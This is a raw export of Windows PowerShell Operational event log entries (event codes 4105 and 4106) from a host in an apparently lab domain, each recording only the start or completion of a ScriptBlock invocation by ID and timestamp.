ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046561
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046539
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046537
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046536
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046519
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046513
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046509
Keywords=None
